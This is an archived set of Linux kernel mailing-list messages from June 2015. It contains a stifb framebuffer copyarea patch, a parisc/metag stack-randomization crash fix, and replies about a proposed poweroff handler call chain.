>> #define REG_3           0x0004a0
>> #define REG_4           0x000600
>> #define REG_6           0x000800
>> +#define REG_7          0x000804
>> #define REG_8           0x000820
>> #define REG_9           0x000a04
>> #define REG_10          0x018000
>> @@ -135,6 +136,8 @@ static int __initdata stifb_bpp_pref[MAX_STI_ROMS];
>> #define REG_21          0x200218
>> #define REG_22          0x0005a0
>> #define REG_23          0x0005c0
>> +#define REG_24         0x000808
>> +#define REG_25         0x000b00
>> #define REG_26          0x200118
>> #define REG_27          0x200308
>> #define REG_32          0x21003c
>> @@ -429,6 +432,9 @@ ARTIST_ENABLE_DISABLE_DISPLAY(struct stifb_info *fb,
>> int enable)
>> #define SET_LENXY_START_RECFILL(fb, lenxy) \
>>         WRITE_WORD(lenxy, fb, REG_9)
>>
>> +#define SETUP_COPYAREA(fb) \
>> +       WRITE_BYTE(0, fb, REG_16b1)
>> +
>> static void
>> HYPER_ENABLE_DISABLE_DISPLAY(struct stifb_info *fb, int enable)
>> {
>> @@ -1004,6 +1010,36 @@ stifb_blank(int blank_mode, struct fb_info *info)
>>         return 0;
>> }
>>
>> +static void
>> +stifb_copyarea(struct fb_info *info, const struct fb_copyarea *area)
>> +{
>> +       struct stifb_info *fb = container_of(info, struct stifb_info,
>> info);
>> +
>> +       SETUP_COPYAREA(fb);
>> +
>> +       SETUP_HW(fb);
>> +       if (fb->info.var.bits_per_pixel == 32) {
>> +               WRITE_WORD(0xBBA0A000, fb, REG_10);
>> +
>> +               NGLE_REALLY_SET_IMAGE_PLANEMASK(fb, 0xffffffff);
>> +       } else {
>> +               WRITE_WORD(fb->id == S9000_ID_HCRX ? 0x13a02000 :
>> 0x13a01000, fb, REG_10);
>> +
>> +               NGLE_REALLY_SET_IMAGE_PLANEMASK(fb, 0xff);
>> +       }
>> +
>> +       NGLE_QUICK_SET_IMAGE_BITMAP_OP(fb,
>> +               IBOvals(RopSrc, MaskAddrOffset(0),
>> +               BitmapExtent08, StaticReg(1),
>> +               DataDynamic, MaskOtc, BGx(0), FGx(0)));
>> +
>> +       WRITE_WORD(((area->sx << 16) | area->sy), fb, REG_24);
>> +       WRITE_WORD(((area->width << 16) | area->height), fb, REG_7);
>> +       WRITE_WORD(((area->dx << 16) | area->dy), fb, REG_25);
>> +
>> +       SETUP_FB(fb);
>> +}
>> +
>> static void __init
>> stifb_init_display(struct stifb_info *fb)
>> {
>> @@ -1069,7 +1105,7 @@ static struct fb_ops stifb_ops = {
>>         .fb_setcolreg   = stifb_setcolreg,
>>         .fb_blank       = stifb_blank,
>>         .fb_fillrect    = cfb_fillrect,
>> -       .fb_copyarea    = cfb_copyarea,
>> +       .fb_copyarea    = stifb_copyarea,
>>         .fb_imageblit   = cfb_imageblit,
>> };
>>
>> @@ -1258,7 +1294,7 @@ static int __init stifb_init_fb(struct sti_struct
>> *sti, int bpp_pref)
>>         info->fbops = &stifb_ops;
>>         info->screen_base = ioremap_nocache(REGION_BASE(fb,1),
>> fix->smem_len);
>>         info->screen_size = fix->smem_len;
>> -       info->flags = FBINFO_DEFAULT;
>> +       info->flags = FBINFO_DEFAULT | FBINFO_HWACCEL_COPYAREA;
>>         info->pseudo_palette = &fb->pseudo_palette;
>>
>>         /* This has to be done !!! */
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kamal Mostafa <kamal@canonical.com>
Newsgroups: gmane.linux.ubuntu.devel.kernel.general,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.kernel.metag,gmane.linux.ports.parisc
Subject: [PATCH 3.19.y-ckt 061/146] parisc,
 metag: Fix crashes due to stack randomization on stack-grows-upwards
 architectures
Date: Wed, 17 Jun 2015 15:22:46 -0700
Lines: 90
Approved: news@gmane.org
Message-ID: <1434579851-1719-62-git-send-email-kamal@canonical.com>
References: <1434579851-1719-1-git-send-email-kamal@canonical.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434580038 16499 80.91.229.3 (17 Jun 2015 22:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2015 22:27:18 +0000 (UTC)
Cc: Kamal Mostafa <kamal@canonical.com>, Helge Deller <deller@gmx.de>,
 James Hogan <james.hogan@imgtec.com>, linux-metag@vger.kernel.org,
 linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org,
 kernel-team@lists.ubuntu.com
Original-X-From: kernel-team-bounces@lists.ubuntu.com Thu Jun 18 00:27:17 2015
Return-path: <kernel-team-bounces@lists.ubuntu.com>
Envelope-to: gludkg-kernel-team@m.gmane.org
Original-Received: from huckleberry.canonical.com ([91.189.94.19])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <kernel-team-bounces@lists.ubuntu.com>)
	id 1Z5LnK-0003Kx-Ua
	for gludkg-kernel-team@m.gmane.org; Thu, 18 Jun 2015 00:26:55 +0200
Original-Received: from localhost ([127.0.0.1] helo=huckleberry.canonical.com)
	by huckleberry.canonical.com with esmtp (Exim 4.76)
	(envelope-from <kernel-team-bounces@lists.ubuntu.com>)
	id 1Z5LnG-0007z0-Ue; Wed, 17 Jun 2015 22:26:50 +0000
Original-Received: from youngberry.canonical.com ([91.189.89.112])
 by huckleberry.canonical.com with esmtp (Exim 4.76)
 (envelope-from <kamal@canonical.com>) id 1Z5Lm8-0007N3-Tp
 for kernel-team@lists.ubuntu.com; Wed, 17 Jun 2015 22:25:40 +0000
Original-Received: from [10.172.68.52] (helo=fourier)
 by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
 (Exim 4.76) (envelope-from <kamal@canonical.com>)
 id 1Z5Lm8-00039b-0N; Wed, 17 Jun 2015 22:25:40 +0000
Original-Received: from kamal by fourier with local (Exim 4.82)
 (envelope-from <kamal@whence.com>)
 id 1Z5Lm5-0000ag-PB; Wed, 17 Jun 2015 15:25:37 -0700
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1434579851-1719-1-git-send-email-kamal@canonical.com>
X-Extended-Stable: 3.19
X-BeenThere: kernel-team@lists.ubuntu.com
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Kernel team discussions <kernel-team.lists.ubuntu.com>
List-Unsubscribe: <https://lists.ubuntu.com/mailman/options/kernel-team>,
 <mailto:kernel-team-request@lists.ubuntu.com?subject=unsubscribe>
List-Archive: <https://lists.ubuntu.com/archives/kernel-team>
List-Post: <mailto:kernel-team@lists.ubuntu.com>
List-Help: <mailto:kernel-team-request@lists.ubuntu.com?subject=help>
List-Subscribe: <https://lists.ubuntu.com/mailman/listinfo/kernel-team>,
 <mailto:kernel-team-request@lists.ubuntu.com?subject=subscribe>
Errors-To: kernel-team-bounces@lists.ubuntu.com
Original-Sender: kernel-team-bounces@lists.ubuntu.com
Xref: news.gmane.org gmane.linux.ubuntu.devel.kernel.general:58236 gmane.linux.kernel:1978663 gmane.linux.kernel.stable:139325 gmane.linux.kernel.metag:542 gmane.linux.ports.parisc:25777
Archived-At: <http://permalink.gmane.org/gmane.linux.ubuntu.devel.kernel.general/58236>

3.19.8-ckt2 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit d045c77c1a69703143a36169c224429c48b9eecd upstream.

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: James Hogan <james.hogan@imgtec.com>
Cc: linux-metag@vger.kernel.org
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
---
 arch/parisc/include/asm/elf.h   | 4 ++++
 arch/parisc/kernel/sys_parisc.c | 3 +++
 fs/exec.c                       | 3 +++
 3 files changed, 10 insertions(+)

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 3391d06..78c9fd3 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
 #define arch_randomize_brk arch_randomize_brk
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2..5aba01a 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(void)
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
 
diff --git a/fs/exec.c b/fs/exec.c
index 4617a4e..be18722 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -659,6 +659,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
-- 
1.9.1



From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Wed, 17 Jun 2015 18:04:54 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <55821936.4040704@codeaurora.org>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-2-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434589519 26588 80.91.229.3 (18 Jun 2015 01:05:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 01:05:19 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
	Heiko Stuebner <heiko@sntech.de>,
	Len Brown <len.brown@intel.com>, linux-xtensa@linux-xtensa.org,
	Pavel Machek <pavel@ucw.cz>, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
	linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
	linux-sh@vger.kernel.org, Alexander Graf <agraf@suse.de>,
	linux-acpi@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org,
	openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead
To: Guenter Roeck <linux@roeck-us.net>, linux-kernel@vger.kernel.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Jun 18 03:05:16 2015
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1Z5OGS-000369-Fv
	for glphk-linux-hexagon@plane.gmane.org; Thu, 18 Jun 2015 03:05:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754134AbbFRBFD (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Wed, 17 Jun 2015 21:05:03 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:39062 "EHLO
	smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753968AbbFRBE7 (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Wed, 17 Jun 2015 21:04:59 -0400
Original-Received: from smtp.codeaurora.org (localhost [127.0.0.1])
	by smtp.codeaurora.org (Postfix) with ESMTP id E4BDB1400CD;
	Thu, 18 Jun 2015 01:04:57 +0000 (UTC)
Original-Received: by smtp.codeaurora.org (Postfix, from userid 486)
	id C7C511400D8; Thu, 18 Jun 2015 01:04:57 +0000 (UTC)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	pdx-caf-smtp.dmz.codeaurora.org
X-Spam-Level: 
X-Spam-Status: No, score=-2.9 required=2.0 tests=ALL_TRUSTED,BAYES_00
	autolearn=ham version=3.3.1
Original-Received: from [10.134.64.202] (i-global254.qualcomm.com [199.106.103.254])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: sboyd@smtp.codeaurora.org)
	by smtp.codeaurora.org (Postfix) with ESMTPSA id 4E0BF1400CD;
	Thu, 18 Jun 2015 01:04:55 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <1412659726-29957-2-git-send-email-linux@roeck-us.net>
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:907 gmane.linux.kernel:1978963 gmane.linux.ports.mips.general:49113 gmane.linux.kernel.efi:5808 gmane.linux.ports.ia64:25544 gmane.linux.kernel.virtualization.lguest:1633 gmane.linux.ports.sh.devel:46556 gmane.linux.acpi.devel:76720 gmane.linux.drivers.devicetree:125489 gmane.linux.uml.devel:15066 gmane.linux.power-management.general:61439 gmane.linux.ports.tegra:22722 gmane.linux.kernel.openipmi:2711 gmane.linux.kernel.metag:543 gmane.linux.ports.arm.kernel:420912 gmane.linux.ports.parisc:25778 gmane.linux.ports.alpha:3137 gmane.linux.ports.ppc64.devel:114414
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/907>

On 10/06/2014 10:28 PM, Guenter Roeck wrote:
> Various drivers implement architecture and/or device specific means to
> remove power from the system.  For the most part, those drivers set the
> global variable pm_power_off to point to a function within the driver.
>
> This mechanism has a number of drawbacks.  Typically only one scheme
> to remove power is supported (at least if pm_power_off is used).
> At least in theory there can be multiple means remove power, some of
> which may be less desirable. For example, some mechanisms may only
> power off the CPU or the CPU card, while another may power off the
> entire system.  Others may really just execute a restart sequence
> or drop into the ROM monitor. Using pm_power_off can also be racy
> if the function pointer is set from a driver built as module, as the
> driver may be in the process of being unloaded when pm_power_off is
> called. If there are multiple poweroff handlers in the system, removing
> a module with such a handler may inadvertently reset the pointer to
> pm_power_off to NULL, leaving the system with no means to remove power.
>
> Introduce a system poweroff handler call chain to solve the described
> problems.  This call chain is expected to be executed from the
> architecture specific machine_power_off() function.  Drivers providing
> system poweroff functionality are expected to register with this call chain.
> By using the priority field in the notifier block, callers can control
> poweroff handler execution sequence and thus ensure that the poweroff
> handler with the optimal capabilities to remove power for a given system
> is called first.

What happened to this series? I want to add shutdown support to my
platform and I need to write a register on the PMIC in one driver to
configure it for shutdown instead of restart and then write an MMIO
register to tell the PMIC to actually do the shutdown in another driver.
It seems that the notifier solves this case for me, albeit with the
slight complication that I need to order the two with some priority.

I'm also considering putting the PMIC configuration part into the reboot
notifier chain, because it only does things to change the configuration
and not actually any shutdown/restart itself. That removes any
requirement to get the priority of notifiers right. This series will
still be useful for the MMIO register that needs to be toggled though.
Right now I have to assign pm_power_off or hook the reboot notifier with
a different priority to make this work.

-- 
Qualcomm Innovation Center, Inc. is a member of Code Aurora Forum,
a Linux Foundation Collaborative Project


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Klaver <fransklaver@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 18 Jun 2015 08:53:50 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <CAH6sp9P7rq2y_hiQPHKUP85CwnEmp87yC7Psh4=29h-pYnb_yw@mail.gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-2-git-send-email-linux@roeck-us.net>
 <55821936.4040704@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434610454 30240 80.91.229.3 (18 Jun 2015 06:54:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 06:54:14 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 Heiko Stuebner <heiko@sntech.de>, linux-sh@vger.kernel.org,
 "devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
 Pavel Machek <pavel@ucw.cz>, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
 linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
 Alexander Graf <agraf@suse.de>, linux-acpi <linux-acpi@vger.kernel.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>, xen-devel@lists.xenproject.org,
 Guenter Roeck <linux@roeck-us.net>, Len Brown <len.brown@intel.com>,
 user-mode-linux-devel@lists.sourceforge.net,
 "linux-pm@vger.kernel.org" <linux-pm@vger.kernel.org>,
 linux-xtensa@linux-xtensa.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
 linux-tegra@vger.kernel.or
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Jun 18 08:53:58 2015
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1Z5Ti1-0007zr-7V
	for glddd-devel@m.gmane.org; Thu, 18 Jun 2015 08:53:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 52D0E946E1;
	Thu, 18 Jun 2015 06:53:55 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lEHU2TBGuXAF; Thu, 18 Jun 2015 06:53:54 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 45509946EE;
	Thu, 18 Jun 2015 06:53:54 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id BF0651BFEEA
 for <devel@linuxdriverproject.org>; Thu, 18 Jun 2015 06:53:52 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id BB23EA2DBB
 for <devel@linuxdriverproject.org>; Thu, 18 Jun 2015 06:53:52 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 7hKBYnL18M17 for <devel@linuxdriverproject.org>;
 Thu, 18 Jun 2015 06:53:52 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-wg0-f49.google.com (mail-wg0-f49.google.com [74.125.82.49])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id C9B98A2DB9
 for <devel@driverdev.osuosl.org>; Thu, 18 Jun 2015 06:53:51 +0000 (UTC)
Original-Received: by wgzl5 with SMTP id l5so55040217wgz.3
 for <devel@driverdev.osuosl.org>; Wed, 17 Jun 2015 23:53:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:in-reply-to:references:date:message-id:subject:from:to
 :cc:content-type;
 bh=k74cgR00mKBd07J+UqM92AZe73VE55JsSULZAB+YuCE=;
 b=sg9qefI7h6R6iS6vGKyeumOpudPBKbefs39CT02Tjqntw/zyqzynK91UiOUh0ZcsHS
 6P3fXfqHDQHa5v0XLTmpL6SXD5W19pPCQp+AAgbKcoPYK8f1hKb1plk0Sfsp0SLAikjq
 GeCVMCSiCUBr0T7kx9YYEeN3HjotdIqDlFhF5+fxm0bad/AONM0TniqeWzTW5BZU68Uo
 WniaowXj72kEjc41j2jMo+siQEy3QyC1TvTuGl90UVcW2xg5D+5t4Ez2IYJtAE67UTAi
 yj5SS+Loyp5DPzWcPrInyRW24aniHhCAavMspfq85ZxZgM/4tvA9P9ZyicgKLHnBJlRh
 OLpg==
X-Received: by 10.195.13.1 with SMTP id eu1mr13139420wjd.131.1434610430207;
 Wed, 17 Jun 2015 23:53:50 -0700 (PDT)
Original-Received: by 10.28.150.203 with HTTP; Wed, 17 Jun 2015 23:53:50 -0700 (PDT)
In-Reply-To: <55821936.4040704@codeaurora.org>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:70645 gmane.linux.ports.mips.general:49114 gmane.linux.kernel.efi:5809 gmane.linux.ports.ia64:25545 gmane.linux.ports.sh.devel:46559 gmane.linux.drivers.devicetree:125513 gmane.linux.kernel.virtualization.lguest:1634 gmane.linux.ports.hexagon:908 gmane.linux.acpi.devel:76726 gmane.linux.uml.devel:15067 gmane.linux.power-management.general:61449 gmane.linux.ports.tegra:22723 gmane.linux.kernel.openipmi:2712 gmane.linux.kernel.metag:544 gmane.linux.ports.arm.kernel:420954 gmane.linux.ports.parisc:25779 gmane.linux.kernel:1979062 gmane.linux.ports.alpha:3138 gmane.linux.ports.ppc64.devel:114424
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/70645>

On Thu, Jun 18, 2015 at 3:04 AM, Stephen Boyd <sboyd@codeaurora.org> wrote:
> On 10/06/2014 10:28 PM, Guenter Roeck wrote:
>> Various drivers implement architecture and/or device specific means to
>> remove power from the system.  For the most part, those drivers set the
>> global variable pm_power_off to point to a function within the driver.
>>
>> This mechanism has a number of drawbacks.  Typically only one scheme
>> to remove power is supported (at least if pm_power_off is used).
>> At least in theory there can be multiple means remove power, some of
>> which may be less desirable. For example, some mechanisms may only
>> power off the CPU or the CPU card, while another may power off the
>> entire system.  Others may really just execute a restart sequence
>> or drop into the ROM monitor. Using pm_power_off can also be racy
>> if the function pointer is set from a driver built as module, as the
>> driver may be in the process of being unloaded when pm_power_off is
>> called. If there are multiple poweroff handlers in the system, removing
>> a module with such a handler may inadvertently reset the pointer to
>> pm_power_off to NULL, leaving the system with no means to remove power.
>>
>> Introduce a system poweroff handler call chain to solve the described
>> problems.  This call chain is expected to be executed from the
>> architecture specific machine_power_off() function.  Drivers providing
>> system poweroff functionality are expected to register with this call chain.
>> By using the priority field in the notifier block, callers can control
>> poweroff handler execution sequence and thus ensure that the poweroff
>> handler with the optimal capabilities to remove power for a given system
>> is called first.
>
> What happened to this series? I want to add shutdown support to my
> platform and I need to write a register on the PMIC in one driver to
> configure it for shutdown instead of restart and then write an MMIO
> register to tell the PMIC to actually do the shutdown in another driver.
> It seems that the notifier solves this case for me, albeit with the
> slight complication that I need to order the two with some priority.

I was wondering the same thing. I did find out that things kind of
stalled after Linus cast doubt on the chosen path [1]. I'm not sure
there's any consensus on what would be best to do instead.

Frans

[1] https://lkml.org/lkml/2014/11/6/641

From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 18 Jun 2015 04:54:03 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <5582B15B.4010205@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>	<1412659726-29957-2-git-send-email-linux@roeck-us.net>	<55821936.4040704@codeaurora.org> <CAH6sp9P7rq2y_hiQPHKUP85CwnEmp87yC7Psh4=29h-pYnb_yw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434628473 29384 80.91.229.3 (18 Jun 2015 11:54:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 11:54:33 +0000 (UTC)
